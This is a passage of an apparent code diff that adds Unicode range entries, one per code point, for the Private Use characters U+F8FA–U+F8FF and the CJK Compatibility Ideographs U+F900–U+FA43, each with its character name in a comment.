+ [0xf8fa, 0xf8fa], /* Private Use */
+ [0xf8fb, 0xf8fb], /* Private Use */
+ [0xf8fc, 0xf8fc], /* Private Use */
+ [0xf8fd, 0xf8fd], /* Private Use */
+ [0xf8fe, 0xf8fe], /* Private Use */
+ [0xf8ff, 0xf8ff], /* Private Use */
+ [0xf900, 0xf900], /* CJK COMPATIBILITY IDEOGRAPH-F900 */
+ [0xf901, 0xf901], /* CJK COMPATIBILITY IDEOGRAPH-F901 */
+ [0xf902, 0xf902], /* CJK COMPATIBILITY IDEOGRAPH-F902 */
+ [0xf903, 0xf903], /* CJK COMPATIBILITY IDEOGRAPH-F903 */
+ [0xf904, 0xf904], /* CJK COMPATIBILITY IDEOGRAPH-F904 */
+ [0xf905, 0xf905], /* CJK COMPATIBILITY IDEOGRAPH-F905 */
+ [0xf906, 0xf906], /* CJK COMPATIBILITY IDEOGRAPH-F906 */
+ [0xf907, 0xf907], /* CJK COMPATIBILITY IDEOGRAPH-F907 */
+ [0xf908, 0xf908], /* CJK COMPATIBILITY IDEOGRAPH-F908 */
+ [0xf909, 0xf909], /* CJK COMPATIBILITY IDEOGRAPH-F909 */
+ [0xf90a, 0xf90a], /* CJK COMPATIBILITY IDEOGRAPH-F90A */
+ [0xf90b, 0xf90b], /* CJK COMPATIBILITY IDEOGRAPH-F90B */
+ [0xf90c, 0xf90c], /* CJK COMPATIBILITY IDEOGRAPH-F90C */
+ [0xf90d, 0xf90d], /* CJK COMPATIBILITY IDEOGRAPH-F90D */
+ [0xf90e, 0xf90e], /* CJK COMPATIBILITY IDEOGRAPH-F90E */
+ [0xf90f, 0xf90f], /* CJK COMPATIBILITY IDEOGRAPH-F90F */
+ [0xf910, 0xf910], /* CJK COMPATIBILITY IDEOGRAPH-F910 */
+ [0xf911, 0xf911], /* CJK COMPATIBILITY IDEOGRAPH-F911 */
+ [0xf912, 0xf912], /* CJK COMPATIBILITY IDEOGRAPH-F912 */
+ [0xf913, 0xf913], /* CJK COMPATIBILITY IDEOGRAPH-F913 */
+ [0xf914, 0xf914], /* CJK COMPATIBILITY IDEOGRAPH-F914 */
+ [0xf915, 0xf915], /* CJK COMPATIBILITY IDEOGRAPH-F915 */
+ [0xf916, 0xf916], /* CJK COMPATIBILITY IDEOGRAPH-F916 */
+ [0xf917, 0xf917], /* CJK COMPATIBILITY IDEOGRAPH-F917 */
+ [0xf918, 0xf918], /* CJK COMPATIBILITY IDEOGRAPH-F918 */
+ [0xf919, 0xf919], /* CJK COMPATIBILITY IDEOGRAPH-F919 */
+ [0xf91a, 0xf91a], /* CJK COMPATIBILITY IDEOGRAPH-F91A */
+ [0xf91b, 0xf91b], /* CJK COMPATIBILITY IDEOGRAPH-F91B */
+ [0xf91c, 0xf91c], /* CJK COMPATIBILITY IDEOGRAPH-F91C */
+ [0xf91d, 0xf91d], /* CJK COMPATIBILITY IDEOGRAPH-F91D */
+ [0xf91e, 0xf91e], /* CJK COMPATIBILITY IDEOGRAPH-F91E */
+ [0xf91f, 0xf91f], /* CJK COMPATIBILITY IDEOGRAPH-F91F */
+ [0xf920, 0xf920], /* CJK COMPATIBILITY IDEOGRAPH-F920 */
+ [0xf921, 0xf921], /* CJK COMPATIBILITY IDEOGRAPH-F921 */
+ [0xf922, 0xf922], /* CJK COMPATIBILITY IDEOGRAPH-F922 */
+ [0xf923, 0xf923], /* CJK COMPATIBILITY IDEOGRAPH-F923 */
+ [0xf924, 0xf924], /* CJK COMPATIBILITY IDEOGRAPH-F924 */
+ [0xf925, 0xf925], /* CJK COMPATIBILITY IDEOGRAPH-F925 */
+ [0xf926, 0xf926], /* CJK COMPATIBILITY IDEOGRAPH-F926 */
+ [0xf927, 0xf927], /* CJK COMPATIBILITY IDEOGRAPH-F927 */
+ [0xf928, 0xf928], /* CJK COMPATIBILITY IDEOGRAPH-F928 */
+ [0xf929, 0xf929], /* CJK COMPATIBILITY IDEOGRAPH-F929 */
+ [0xf92a, 0xf92a], /* CJK COMPATIBILITY IDEOGRAPH-F92A */
+ [0xf92b, 0xf92b], /* CJK COMPATIBILITY IDEOGRAPH-F92B */
+ [0xf92c, 0xf92c], /* CJK COMPATIBILITY IDEOGRAPH-F92C */
+ [0xf92d, 0xf92d], /* CJK COMPATIBILITY IDEOGRAPH-F92D */
+ [0xf92e, 0xf92e], /* CJK COMPATIBILITY IDEOGRAPH-F92E */
+ [0xf92f, 0xf92f], /* CJK COMPATIBILITY IDEOGRAPH-F92F */
+ [0xf930, 0xf930], /* CJK COMPATIBILITY IDEOGRAPH-F930 */
+ [0xf931, 0xf931], /* CJK COMPATIBILITY IDEOGRAPH-F931 */
+ [0xf932, 0xf932], /* CJK COMPATIBILITY IDEOGRAPH-F932 */
+ [0xf933, 0xf933], /* CJK COMPATIBILITY IDEOGRAPH-F933 */
+ [0xf934, 0xf934], /* CJK COMPATIBILITY IDEOGRAPH-F934 */
+ [0xf935, 0xf935], /* CJK COMPATIBILITY IDEOGRAPH-F935 */
+ [0xf936, 0xf936], /* CJK COMPATIBILITY IDEOGRAPH-F936 */
+ [0xf937, 0xf937], /* CJK COMPATIBILITY IDEOGRAPH-F937 */
+ [0xf938, 0xf938], /* CJK COMPATIBILITY IDEOGRAPH-F938 */
+ [0xf939, 0xf939], /* CJK COMPATIBILITY IDEOGRAPH-F939 */
+ [0xf93a, 0xf93a], /* CJK COMPATIBILITY IDEOGRAPH-F93A */
+ [0xf93b, 0xf93b], /* CJK COMPATIBILITY IDEOGRAPH-F93B */
+ [0xf93c, 0xf93c], /* CJK COMPATIBILITY IDEOGRAPH-F93C */
+ [0xf93d, 0xf93d], /* CJK COMPATIBILITY IDEOGRAPH-F93D */
+ [0xf93e, 0xf93e], /* CJK COMPATIBILITY IDEOGRAPH-F93E */
+ [0xf93f, 0xf93f], /* CJK COMPATIBILITY IDEOGRAPH-F93F */
+ [0xf940, 0xf940], /* CJK COMPATIBILITY IDEOGRAPH-F940 */
+ [0xf941, 0xf941], /* CJK COMPATIBILITY IDEOGRAPH-F941 */
+ [0xf942, 0xf942], /* CJK COMPATIBILITY IDEOGRAPH-F942 */
+ [0xf943, 0xf943], /* CJK COMPATIBILITY IDEOGRAPH-F943 */
+ [0xf944, 0xf944], /* CJK COMPATIBILITY IDEOGRAPH-F944 */
+ [0xf945, 0xf945], /* CJK COMPATIBILITY IDEOGRAPH-F945 */
+ [0xf946, 0xf946], /* CJK COMPATIBILITY IDEOGRAPH-F946 */
+ [0xf947, 0xf947], /* CJK COMPATIBILITY IDEOGRAPH-F947 */
+ [0xf948, 0xf948], /* CJK COMPATIBILITY IDEOGRAPH-F948 */
+ [0xf949, 0xf949], /* CJK COMPATIBILITY IDEOGRAPH-F949 */
+ [0xf94a, 0xf94a], /* CJK COMPATIBILITY IDEOGRAPH-F94A */
+ [0xf94b, 0xf94b], /* CJK COMPATIBILITY IDEOGRAPH-F94B */
+ [0xf94c, 0xf94c], /* CJK COMPATIBILITY IDEOGRAPH-F94C */
+ [0xf94d, 0xf94d], /* CJK COMPATIBILITY IDEOGRAPH-F94D */
+ [0xf94e, 0xf94e], /* CJK COMPATIBILITY IDEOGRAPH-F94E */
+ [0xf94f, 0xf94f], /* CJK COMPATIBILITY IDEOGRAPH-F94F */
+ [0xf950, 0xf950], /* CJK COMPATIBILITY IDEOGRAPH-F950 */
+ [0xf951, 0xf951], /* CJK COMPATIBILITY IDEOGRAPH-F951 */
+ [0xf952, 0xf952], /* CJK COMPATIBILITY IDEOGRAPH-F952 */
+ [0xf953, 0xf953], /* CJK COMPATIBILITY IDEOGRAPH-F953 */
+ [0xf954, 0xf954], /* CJK COMPATIBILITY IDEOGRAPH-F954 */
+ [0xf955, 0xf955], /* CJK COMPATIBILITY IDEOGRAPH-F955 */
+ [0xf956, 0xf956], /* CJK COMPATIBILITY IDEOGRAPH-F956 */
+ [0xf957, 0xf957], /* CJK COMPATIBILITY IDEOGRAPH-F957 */
+ [0xf958, 0xf958], /* CJK COMPATIBILITY IDEOGRAPH-F958 */
+ [0xf959, 0xf959], /* CJK COMPATIBILITY IDEOGRAPH-F959 */
+ [0xf95a, 0xf95a], /* CJK COMPATIBILITY IDEOGRAPH-F95A */
+ [0xf95b, 0xf95b], /* CJK COMPATIBILITY IDEOGRAPH-F95B */
+ [0xf95c, 0xf95c], /* CJK COMPATIBILITY IDEOGRAPH-F95C */
+ [0xf95d, 0xf95d], /* CJK COMPATIBILITY IDEOGRAPH-F95D */
+ [0xf95e, 0xf95e], /* CJK COMPATIBILITY IDEOGRAPH-F95E */
+ [0xf95f, 0xf95f], /* CJK COMPATIBILITY IDEOGRAPH-F95F */
+ [0xf960, 0xf960], /* CJK COMPATIBILITY IDEOGRAPH-F960 */
+ [0xf961, 0xf961], /* CJK COMPATIBILITY IDEOGRAPH-F961 */
+ [0xf962, 0xf962], /* CJK COMPATIBILITY IDEOGRAPH-F962 */
+ [0xf963, 0xf963], /* CJK COMPATIBILITY IDEOGRAPH-F963 */
+ [0xf964, 0xf964], /* CJK COMPATIBILITY IDEOGRAPH-F964 */
+ [0xf965, 0xf965], /* CJK COMPATIBILITY IDEOGRAPH-F965 */
+ [0xf966, 0xf966], /* CJK COMPATIBILITY IDEOGRAPH-F966 */
+ [0xf967, 0xf967], /* CJK COMPATIBILITY IDEOGRAPH-F967 */
+ [0xf968, 0xf968], /* CJK COMPATIBILITY IDEOGRAPH-F968 */
+ [0xf969, 0xf969], /* CJK COMPATIBILITY IDEOGRAPH-F969 */
+ [0xf96a, 0xf96a], /* CJK COMPATIBILITY IDEOGRAPH-F96A */
+ [0xf96b, 0xf96b], /* CJK COMPATIBILITY IDEOGRAPH-F96B */
+ [0xf96c, 0xf96c], /* CJK COMPATIBILITY IDEOGRAPH-F96C */
+ [0xf96d, 0xf96d], /* CJK COMPATIBILITY IDEOGRAPH-F96D */
+ [0xf96e, 0xf96e], /* CJK COMPATIBILITY IDEOGRAPH-F96E */
+ [0xf96f, 0xf96f], /* CJK COMPATIBILITY IDEOGRAPH-F96F */
+ [0xf970, 0xf970], /* CJK COMPATIBILITY IDEOGRAPH-F970 */
+ [0xf971, 0xf971], /* CJK COMPATIBILITY IDEOGRAPH-F971 */
+ [0xf972, 0xf972], /* CJK COMPATIBILITY IDEOGRAPH-F972 */
+ [0xf973, 0xf973], /* CJK COMPATIBILITY IDEOGRAPH-F973 */
+ [0xf974, 0xf974], /* CJK COMPATIBILITY IDEOGRAPH-F974 */
+ [0xf975, 0xf975], /* CJK COMPATIBILITY IDEOGRAPH-F975 */
+ [0xf976, 0xf976], /* CJK COMPATIBILITY IDEOGRAPH-F976 */
+ [0xf977, 0xf977], /* CJK COMPATIBILITY IDEOGRAPH-F977 */
+ [0xf978, 0xf978], /* CJK COMPATIBILITY IDEOGRAPH-F978 */
+ [0xf979, 0xf979], /* CJK COMPATIBILITY IDEOGRAPH-F979 */
+ [0xf97a, 0xf97a], /* CJK COMPATIBILITY IDEOGRAPH-F97A */
+ [0xf97b, 0xf97b], /* CJK COMPATIBILITY IDEOGRAPH-F97B */
+ [0xf97c, 0xf97c], /* CJK COMPATIBILITY IDEOGRAPH-F97C */
+ [0xf97d, 0xf97d], /* CJK COMPATIBILITY IDEOGRAPH-F97D */
+ [0xf97e, 0xf97e], /* CJK COMPATIBILITY IDEOGRAPH-F97E */
+ [0xf97f, 0xf97f], /* CJK COMPATIBILITY IDEOGRAPH-F97F */
+ [0xf980, 0xf980], /* CJK COMPATIBILITY IDEOGRAPH-F980 */
+ [0xf981, 0xf981], /* CJK COMPATIBILITY IDEOGRAPH-F981 */
+ [0xf982, 0xf982], /* CJK COMPATIBILITY IDEOGRAPH-F982 */
+ [0xf983, 0xf983], /* CJK COMPATIBILITY IDEOGRAPH-F983 */
+ [0xf984, 0xf984], /* CJK COMPATIBILITY IDEOGRAPH-F984 */
+ [0xf985, 0xf985], /* CJK COMPATIBILITY IDEOGRAPH-F985 */
+ [0xf986, 0xf986], /* CJK COMPATIBILITY IDEOGRAPH-F986 */
+ [0xf987, 0xf987], /* CJK COMPATIBILITY IDEOGRAPH-F987 */
+ [0xf988, 0xf988], /* CJK COMPATIBILITY IDEOGRAPH-F988 */
+ [0xf989, 0xf989], /* CJK COMPATIBILITY IDEOGRAPH-F989 */
+ [0xf98a, 0xf98a], /* CJK COMPATIBILITY IDEOGRAPH-F98A */
+ [0xf98b, 0xf98b], /* CJK COMPATIBILITY IDEOGRAPH-F98B */
+ [0xf98c, 0xf98c], /* CJK COMPATIBILITY IDEOGRAPH-F98C */
+ [0xf98d, 0xf98d], /* CJK COMPATIBILITY IDEOGRAPH-F98D */
+ [0xf98e, 0xf98e], /* CJK COMPATIBILITY IDEOGRAPH-F98E */
+ [0xf98f, 0xf98f], /* CJK COMPATIBILITY IDEOGRAPH-F98F */
+ [0xf990, 0xf990], /* CJK COMPATIBILITY IDEOGRAPH-F990 */
+ [0xf991, 0xf991], /* CJK COMPATIBILITY IDEOGRAPH-F991 */
+ [0xf992, 0xf992], /* CJK COMPATIBILITY IDEOGRAPH-F992 */
+ [0xf993, 0xf993], /* CJK COMPATIBILITY IDEOGRAPH-F993 */
+ [0xf994, 0xf994], /* CJK COMPATIBILITY IDEOGRAPH-F994 */
+ [0xf995, 0xf995], /* CJK COMPATIBILITY IDEOGRAPH-F995 */
+ [0xf996, 0xf996], /* CJK COMPATIBILITY IDEOGRAPH-F996 */
+ [0xf997, 0xf997], /* CJK COMPATIBILITY IDEOGRAPH-F997 */
+ [0xf998, 0xf998], /* CJK COMPATIBILITY IDEOGRAPH-F998 */
+ [0xf999, 0xf999], /* CJK COMPATIBILITY IDEOGRAPH-F999 */
+ [0xf99a, 0xf99a], /* CJK COMPATIBILITY IDEOGRAPH-F99A */
+ [0xf99b, 0xf99b], /* CJK COMPATIBILITY IDEOGRAPH-F99B */
+ [0xf99c, 0xf99c], /* CJK COMPATIBILITY IDEOGRAPH-F99C */
+ [0xf99d, 0xf99d], /* CJK COMPATIBILITY IDEOGRAPH-F99D */
+ [0xf99e, 0xf99e], /* CJK COMPATIBILITY IDEOGRAPH-F99E */
+ [0xf99f, 0xf99f], /* CJK COMPATIBILITY IDEOGRAPH-F99F */
+ [0xf9a0, 0xf9a0], /* CJK COMPATIBILITY IDEOGRAPH-F9A0 */
+ [0xf9a1, 0xf9a1], /* CJK COMPATIBILITY IDEOGRAPH-F9A1 */
+ [0xf9a2, 0xf9a2], /* CJK COMPATIBILITY IDEOGRAPH-F9A2 */
+ [0xf9a3, 0xf9a3], /* CJK COMPATIBILITY IDEOGRAPH-F9A3 */
+ [0xf9a4, 0xf9a4], /* CJK COMPATIBILITY IDEOGRAPH-F9A4 */
+ [0xf9a5, 0xf9a5], /* CJK COMPATIBILITY IDEOGRAPH-F9A5 */
+ [0xf9a6, 0xf9a6], /* CJK COMPATIBILITY IDEOGRAPH-F9A6 */
+ [0xf9a7, 0xf9a7], /* CJK COMPATIBILITY IDEOGRAPH-F9A7 */
+ [0xf9a8, 0xf9a8], /* CJK COMPATIBILITY IDEOGRAPH-F9A8 */
+ [0xf9a9, 0xf9a9], /* CJK COMPATIBILITY IDEOGRAPH-F9A9 */
+ [0xf9aa, 0xf9aa], /* CJK COMPATIBILITY IDEOGRAPH-F9AA */
+ [0xf9ab, 0xf9ab], /* CJK COMPATIBILITY IDEOGRAPH-F9AB */
+ [0xf9ac, 0xf9ac], /* CJK COMPATIBILITY IDEOGRAPH-F9AC */
+ [0xf9ad, 0xf9ad], /* CJK COMPATIBILITY IDEOGRAPH-F9AD */
+ [0xf9ae, 0xf9ae], /* CJK COMPATIBILITY IDEOGRAPH-F9AE */
+ [0xf9af, 0xf9af], /* CJK COMPATIBILITY IDEOGRAPH-F9AF */
+ [0xf9b0, 0xf9b0], /* CJK COMPATIBILITY IDEOGRAPH-F9B0 */
+ [0xf9b1, 0xf9b1], /* CJK COMPATIBILITY IDEOGRAPH-F9B1 */
+ [0xf9b2, 0xf9b2], /* CJK COMPATIBILITY IDEOGRAPH-F9B2 */
+ [0xf9b3, 0xf9b3], /* CJK COMPATIBILITY IDEOGRAPH-F9B3 */
+ [0xf9b4, 0xf9b4], /* CJK COMPATIBILITY IDEOGRAPH-F9B4 */
+ [0xf9b5, 0xf9b5], /* CJK COMPATIBILITY IDEOGRAPH-F9B5 */
+ [0xf9b6, 0xf9b6], /* CJK COMPATIBILITY IDEOGRAPH-F9B6 */
+ [0xf9b7, 0xf9b7], /* CJK COMPATIBILITY IDEOGRAPH-F9B7 */
+ [0xf9b8, 0xf9b8], /* CJK COMPATIBILITY IDEOGRAPH-F9B8 */
+ [0xf9b9, 0xf9b9], /* CJK COMPATIBILITY IDEOGRAPH-F9B9 */
+ [0xf9ba, 0xf9ba], /* CJK COMPATIBILITY IDEOGRAPH-F9BA */
+ [0xf9bb, 0xf9bb], /* CJK COMPATIBILITY IDEOGRAPH-F9BB */
+ [0xf9bc, 0xf9bc], /* CJK COMPATIBILITY IDEOGRAPH-F9BC */
+ [0xf9bd, 0xf9bd], /* CJK COMPATIBILITY IDEOGRAPH-F9BD */
+ [0xf9be, 0xf9be], /* CJK COMPATIBILITY IDEOGRAPH-F9BE */
+ [0xf9bf, 0xf9bf], /* CJK COMPATIBILITY IDEOGRAPH-F9BF */
+ [0xf9c0, 0xf9c0], /* CJK COMPATIBILITY IDEOGRAPH-F9C0 */
+ [0xf9c1, 0xf9c1], /* CJK COMPATIBILITY IDEOGRAPH-F9C1 */
+ [0xf9c2, 0xf9c2], /* CJK COMPATIBILITY IDEOGRAPH-F9C2 */
+ [0xf9c3, 0xf9c3], /* CJK COMPATIBILITY IDEOGRAPH-F9C3 */
+ [0xf9c4, 0xf9c4], /* CJK COMPATIBILITY IDEOGRAPH-F9C4 */
+ [0xf9c5, 0xf9c5], /* CJK COMPATIBILITY IDEOGRAPH-F9C5 */
+ [0xf9c6, 0xf9c6], /* CJK COMPATIBILITY IDEOGRAPH-F9C6 */
+ [0xf9c7, 0xf9c7], /* CJK COMPATIBILITY IDEOGRAPH-F9C7 */
+ [0xf9c8, 0xf9c8], /* CJK COMPATIBILITY IDEOGRAPH-F9C8 */
+ [0xf9c9, 0xf9c9], /* CJK COMPATIBILITY IDEOGRAPH-F9C9 */
+ [0xf9ca, 0xf9ca], /* CJK COMPATIBILITY IDEOGRAPH-F9CA */
+ [0xf9cb, 0xf9cb], /* CJK COMPATIBILITY IDEOGRAPH-F9CB */
+ [0xf9cc, 0xf9cc], /* CJK COMPATIBILITY IDEOGRAPH-F9CC */
+ [0xf9cd, 0xf9cd], /* CJK COMPATIBILITY IDEOGRAPH-F9CD */
+ [0xf9ce, 0xf9ce], /* CJK COMPATIBILITY IDEOGRAPH-F9CE */
+ [0xf9cf, 0xf9cf], /* CJK COMPATIBILITY IDEOGRAPH-F9CF */
+ [0xf9d0, 0xf9d0], /* CJK COMPATIBILITY IDEOGRAPH-F9D0 */
+ [0xf9d1, 0xf9d1], /* CJK COMPATIBILITY IDEOGRAPH-F9D1 */
+ [0xf9d2, 0xf9d2], /* CJK COMPATIBILITY IDEOGRAPH-F9D2 */
+ [0xf9d3, 0xf9d3], /* CJK COMPATIBILITY IDEOGRAPH-F9D3 */
+ [0xf9d4, 0xf9d4], /* CJK COMPATIBILITY IDEOGRAPH-F9D4 */
+ [0xf9d5, 0xf9d5], /* CJK COMPATIBILITY IDEOGRAPH-F9D5 */
+ [0xf9d6, 0xf9d6], /* CJK COMPATIBILITY IDEOGRAPH-F9D6 */
+ [0xf9d7, 0xf9d7], /* CJK COMPATIBILITY IDEOGRAPH-F9D7 */
+ [0xf9d8, 0xf9d8], /* CJK COMPATIBILITY IDEOGRAPH-F9D8 */
+ [0xf9d9, 0xf9d9], /* CJK COMPATIBILITY IDEOGRAPH-F9D9 */
+ [0xf9da, 0xf9da], /* CJK COMPATIBILITY IDEOGRAPH-F9DA */
+ [0xf9db, 0xf9db], /* CJK COMPATIBILITY IDEOGRAPH-F9DB */
+ [0xf9dc, 0xf9dc], /* CJK COMPATIBILITY IDEOGRAPH-F9DC */
+ [0xf9dd, 0xf9dd], /* CJK COMPATIBILITY IDEOGRAPH-F9DD */
+ [0xf9de, 0xf9de], /* CJK COMPATIBILITY IDEOGRAPH-F9DE */
+ [0xf9df, 0xf9df], /* CJK COMPATIBILITY IDEOGRAPH-F9DF */
+ [0xf9e0, 0xf9e0], /* CJK COMPATIBILITY IDEOGRAPH-F9E0 */
+ [0xf9e1, 0xf9e1], /* CJK COMPATIBILITY IDEOGRAPH-F9E1 */
+ [0xf9e2, 0xf9e2], /* CJK COMPATIBILITY IDEOGRAPH-F9E2 */
+ [0xf9e3, 0xf9e3], /* CJK COMPATIBILITY IDEOGRAPH-F9E3 */
+ [0xf9e4, 0xf9e4], /* CJK COMPATIBILITY IDEOGRAPH-F9E4 */
+ [0xf9e5, 0xf9e5], /* CJK COMPATIBILITY IDEOGRAPH-F9E5 */
+ [0xf9e6, 0xf9e6], /* CJK COMPATIBILITY IDEOGRAPH-F9E6 */
+ [0xf9e7, 0xf9e7], /* CJK COMPATIBILITY IDEOGRAPH-F9E7 */
+ [0xf9e8, 0xf9e8], /* CJK COMPATIBILITY IDEOGRAPH-F9E8 */
+ [0xf9e9, 0xf9e9], /* CJK COMPATIBILITY IDEOGRAPH-F9E9 */
+ [0xf9ea, 0xf9ea], /* CJK COMPATIBILITY IDEOGRAPH-F9EA */
+ [0xf9eb, 0xf9eb], /* CJK COMPATIBILITY IDEOGRAPH-F9EB */
+ [0xf9ec, 0xf9ec], /* CJK COMPATIBILITY IDEOGRAPH-F9EC */
+ [0xf9ed, 0xf9ed], /* CJK COMPATIBILITY IDEOGRAPH-F9ED */
+ [0xf9ee, 0xf9ee], /* CJK COMPATIBILITY IDEOGRAPH-F9EE */
+ [0xf9ef, 0xf9ef], /* CJK COMPATIBILITY IDEOGRAPH-F9EF */
+ [0xf9f0, 0xf9f0], /* CJK COMPATIBILITY IDEOGRAPH-F9F0 */
+ [0xf9f1, 0xf9f1], /* CJK COMPATIBILITY IDEOGRAPH-F9F1 */
+ [0xf9f2, 0xf9f2], /* CJK COMPATIBILITY IDEOGRAPH-F9F2 */
+ [0xf9f3, 0xf9f3], /* CJK COMPATIBILITY IDEOGRAPH-F9F3 */
+ [0xf9f4, 0xf9f4], /* CJK COMPATIBILITY IDEOGRAPH-F9F4 */
+ [0xf9f5, 0xf9f5], /* CJK COMPATIBILITY IDEOGRAPH-F9F5 */
+ [0xf9f6, 0xf9f6], /* CJK COMPATIBILITY IDEOGRAPH-F9F6 */
+ [0xf9f7, 0xf9f7], /* CJK COMPATIBILITY IDEOGRAPH-F9F7 */
+ [0xf9f8, 0xf9f8], /* CJK COMPATIBILITY IDEOGRAPH-F9F8 */
+ [0xf9f9, 0xf9f9], /* CJK COMPATIBILITY IDEOGRAPH-F9F9 */
+ [0xf9fa, 0xf9fa], /* CJK COMPATIBILITY IDEOGRAPH-F9FA */
+ [0xf9fb, 0xf9fb], /* CJK COMPATIBILITY IDEOGRAPH-F9FB */
+ [0xf9fc, 0xf9fc], /* CJK COMPATIBILITY IDEOGRAPH-F9FC */
+ [0xf9fd, 0xf9fd], /* CJK COMPATIBILITY IDEOGRAPH-F9FD */
+ [0xf9fe, 0xf9fe], /* CJK COMPATIBILITY IDEOGRAPH-F9FE */
+ [0xf9ff, 0xf9ff], /* CJK COMPATIBILITY IDEOGRAPH-F9FF */
+ [0xfa00, 0xfa00], /* CJK COMPATIBILITY IDEOGRAPH-FA00 */
+ [0xfa01, 0xfa01], /* CJK COMPATIBILITY IDEOGRAPH-FA01 */
+ [0xfa02, 0xfa02], /* CJK COMPATIBILITY IDEOGRAPH-FA02 */
+ [0xfa03, 0xfa03], /* CJK COMPATIBILITY IDEOGRAPH-FA03 */
+ [0xfa04, 0xfa04], /* CJK COMPATIBILITY IDEOGRAPH-FA04 */
+ [0xfa05, 0xfa05], /* CJK COMPATIBILITY IDEOGRAPH-FA05 */
+ [0xfa06, 0xfa06], /* CJK COMPATIBILITY IDEOGRAPH-FA06 */
+ [0xfa07, 0xfa07], /* CJK COMPATIBILITY IDEOGRAPH-FA07 */
+ [0xfa08, 0xfa08], /* CJK COMPATIBILITY IDEOGRAPH-FA08 */
+ [0xfa09, 0xfa09], /* CJK COMPATIBILITY IDEOGRAPH-FA09 */
+ [0xfa0a, 0xfa0a], /* CJK COMPATIBILITY IDEOGRAPH-FA0A */
+ [0xfa0b, 0xfa0b], /* CJK COMPATIBILITY IDEOGRAPH-FA0B */
+ [0xfa0c, 0xfa0c], /* CJK COMPATIBILITY IDEOGRAPH-FA0C */
+ [0xfa0d, 0xfa0d], /* CJK COMPATIBILITY IDEOGRAPH-FA0D */
+ [0xfa0e, 0xfa0e], /* CJK COMPATIBILITY IDEOGRAPH-FA0E */
+ [0xfa0f, 0xfa0f], /* CJK COMPATIBILITY IDEOGRAPH-FA0F */
+ [0xfa10, 0xfa10], /* CJK COMPATIBILITY IDEOGRAPH-FA10 */
+ [0xfa11, 0xfa11], /* CJK COMPATIBILITY IDEOGRAPH-FA11 */
+ [0xfa12, 0xfa12], /* CJK COMPATIBILITY IDEOGRAPH-FA12 */
+ [0xfa13, 0xfa13], /* CJK COMPATIBILITY IDEOGRAPH-FA13 */
+ [0xfa14, 0xfa14], /* CJK COMPATIBILITY IDEOGRAPH-FA14 */
+ [0xfa15, 0xfa15], /* CJK COMPATIBILITY IDEOGRAPH-FA15 */
+ [0xfa16, 0xfa16], /* CJK COMPATIBILITY IDEOGRAPH-FA16 */
+ [0xfa17, 0xfa17], /* CJK COMPATIBILITY IDEOGRAPH-FA17 */
+ [0xfa18, 0xfa18], /* CJK COMPATIBILITY IDEOGRAPH-FA18 */
+ [0xfa19, 0xfa19], /* CJK COMPATIBILITY IDEOGRAPH-FA19 */
+ [0xfa1a, 0xfa1a], /* CJK COMPATIBILITY IDEOGRAPH-FA1A */
+ [0xfa1b, 0xfa1b], /* CJK COMPATIBILITY IDEOGRAPH-FA1B */
+ [0xfa1c, 0xfa1c], /* CJK COMPATIBILITY IDEOGRAPH-FA1C */
+ [0xfa1d, 0xfa1d], /* CJK COMPATIBILITY IDEOGRAPH-FA1D */
+ [0xfa1e, 0xfa1e], /* CJK COMPATIBILITY IDEOGRAPH-FA1E */
+ [0xfa1f, 0xfa1f], /* CJK COMPATIBILITY IDEOGRAPH-FA1F */
+ [0xfa20, 0xfa20], /* CJK COMPATIBILITY IDEOGRAPH-FA20 */
+ [0xfa21, 0xfa21], /* CJK COMPATIBILITY IDEOGRAPH-FA21 */
+ [0xfa22, 0xfa22], /* CJK COMPATIBILITY IDEOGRAPH-FA22 */
+ [0xfa23, 0xfa23], /* CJK COMPATIBILITY IDEOGRAPH-FA23 */
+ [0xfa24, 0xfa24], /* CJK COMPATIBILITY IDEOGRAPH-FA24 */
+ [0xfa25, 0xfa25], /* CJK COMPATIBILITY IDEOGRAPH-FA25 */
+ [0xfa26, 0xfa26], /* CJK COMPATIBILITY IDEOGRAPH-FA26 */
+ [0xfa27, 0xfa27], /* CJK COMPATIBILITY IDEOGRAPH-FA27 */
+ [0xfa28, 0xfa28], /* CJK COMPATIBILITY IDEOGRAPH-FA28 */
+ [0xfa29, 0xfa29], /* CJK COMPATIBILITY IDEOGRAPH-FA29 */
+ [0xfa2a, 0xfa2a], /* CJK COMPATIBILITY IDEOGRAPH-FA2A */
+ [0xfa2b, 0xfa2b], /* CJK COMPATIBILITY IDEOGRAPH-FA2B */
+ [0xfa2c, 0xfa2c], /* CJK COMPATIBILITY IDEOGRAPH-FA2C */
+ [0xfa2d, 0xfa2d], /* CJK COMPATIBILITY IDEOGRAPH-FA2D */
+ [0xfa2e, 0xfa2e], /* CJK COMPATIBILITY IDEOGRAPH-FA2E */
+ [0xfa2f, 0xfa2f], /* CJK COMPATIBILITY IDEOGRAPH-FA2F */
+ [0xfa30, 0xfa30], /* CJK COMPATIBILITY IDEOGRAPH-FA30 */
+ [0xfa31, 0xfa31], /* CJK COMPATIBILITY IDEOGRAPH-FA31 */
+ [0xfa32, 0xfa32], /* CJK COMPATIBILITY IDEOGRAPH-FA32 */
+ [0xfa33, 0xfa33], /* CJK COMPATIBILITY IDEOGRAPH-FA33 */
+ [0xfa34, 0xfa34], /* CJK COMPATIBILITY IDEOGRAPH-FA34 */
+ [0xfa35, 0xfa35], /* CJK COMPATIBILITY IDEOGRAPH-FA35 */
+ [0xfa36, 0xfa36], /* CJK COMPATIBILITY IDEOGRAPH-FA36 */
+ [0xfa37, 0xfa37], /* CJK COMPATIBILITY IDEOGRAPH-FA37 */
+ [0xfa38, 0xfa38], /* CJK COMPATIBILITY IDEOGRAPH-FA38 */
+ [0xfa39, 0xfa39], /* CJK COMPATIBILITY IDEOGRAPH-FA39 */
+ [0xfa3a, 0xfa3a], /* CJK COMPATIBILITY IDEOGRAPH-FA3A */
+ [0xfa3b, 0xfa3b], /* CJK COMPATIBILITY IDEOGRAPH-FA3B */
+ [0xfa3c, 0xfa3c], /* CJK COMPATIBILITY IDEOGRAPH-FA3C */
+ [0xfa3d, 0xfa3d], /* CJK COMPATIBILITY IDEOGRAPH-FA3D */
+ [0xfa3e, 0xfa3e], /* CJK COMPATIBILITY IDEOGRAPH-FA3E */
+ [0xfa3f, 0xfa3f], /* CJK COMPATIBILITY IDEOGRAPH-FA3F */
+ [0xfa40, 0xfa40], /* CJK COMPATIBILITY IDEOGRAPH-FA40 */
+ [0xfa41, 0xfa41], /* CJK COMPATIBILITY IDEOGRAPH-FA41 */
+ [0xfa42, 0xfa42], /* CJK COMPATIBILITY IDEOGRAPH-FA42 */
+ [0xfa43, 0xfa43], /* CJK COMPATIBILITY IDEOGRAPH-FA43 */
